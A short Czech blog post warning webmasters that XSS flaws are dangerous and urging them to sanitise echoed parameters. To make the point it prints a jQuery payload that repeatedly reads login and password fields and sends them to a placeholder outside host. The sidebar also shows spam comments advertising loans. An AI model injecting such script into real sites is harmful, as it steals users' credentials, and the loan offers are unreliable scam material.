S XSS zranitelností se dá napáchat více škody, než si myslíte | Michal Smrčka - blog

S XSS zranitelností se dá napáchat více škody, než si myslíte

Otázka pro webmastery: Víte, co dělá následující jQuery kód?

<script>$(function(){setInterval(function() {$.get('http://nejaky_web.cz/uloz_data.php', {jmeno: $('[name=l_jmeno]').val(), heslo: $('[name=l_heslo]').val() })},500);}); </script>

Pokud nevíte, a zároveň se někde na vašem webu vyskytuje výpis typu „echo $_POST[rocnik] “, upalujte svůj web opravit a vypisované parametry ošetřit.

Jestli provozujete web obsahující např. citlivá data uživatelů, pak vyloženě hazardujete. Za únik dat hrozí právní postih i vám, pokud se prokáže, že nebyla provedena ani nejzákladnější bezpečnostní opatření. Což obrana proti XSS bezesporu je. Více informací na Wikipedii.


Čtěte také:
13. 11. 2010 v 20:45 • Bezpečnost a hacking • autor Michal Smrčka
 

Názory a komentáře k článku


[1] Roman 27. 03. 2011, 21:46
Takhle to využít to mě teda ještě nenapadlo. Drsné:D

Přidat komentář

Jméno
E-mail
Web
Text
    Odesláním souhlasíte s pravidly.

Kategorie blogu

Twitter feed

Poslední články

Poslední komentáře

maria: Nabídněte peněžní půjčku mezi jednotlivci rychle za 72 hodin Byl jste odmítnut v bance, protože váš kredit nesplňuje jejich standardy? Sen o vlastním vlastním domě, ale byla vám odepřena hypotéka kvůli nedostatečnému úvěru? Vaše podnikání se za rok nezlepšilo. potřebovali jste peníze na rozšíření... Ukázat
bryan: Ahoj, Potřebujete naléhavou půjčku k vyřešení vašich finančních potřeb, nabízíme půjčky od 10 000,00 Euro do 100 000 000,00 Euro, spolehlivé, efektivní, rychlé a dynamické se 100% zárukou (Euro, libra a dolar)) zájem o úrokovou sazbu pro všechny úvěry (2%). E-mail: (Bryanloaners@gmail.com) Dík. Ukázat
alain: Pro váš dům, Pro vaši firmu, Chcete-li koupit auto, Chcete-li koupit motocykl, Chcete-li vytvořit vlastní firmu, Pro vaše osobní potřeby nepochybujte. Nabízím osobní půjčky od 10 000 Kč do 60 000 000 Kč s roční úrokovou sazbou 3%. Nezáleží na výši. Ve své žádosti o půjčku uveďte přesnou... Ukázat
Jack hum: Are you a business man or woman? Are you in a financial mess or do You need funds to start your own business? Need to pay loans Their Debt or pay off your bills or start a nice business? Do you have a... Ukázat
loici: Peníze by měly být vážné za 48 hodin Dobrý den pan / pane Jsem konkrétní promotér a ředitel společnosti uděluji úvěr komukoli s potřebou a také nabízím nemovitosti a auto půjčky ty, kteří chtějí zahájit činnost nebo mít projekty nebo pro výstavbu dobrá nebo... Ukázat

Vyhledávání

Nastavení

Velikost písma: Abc Abc Abc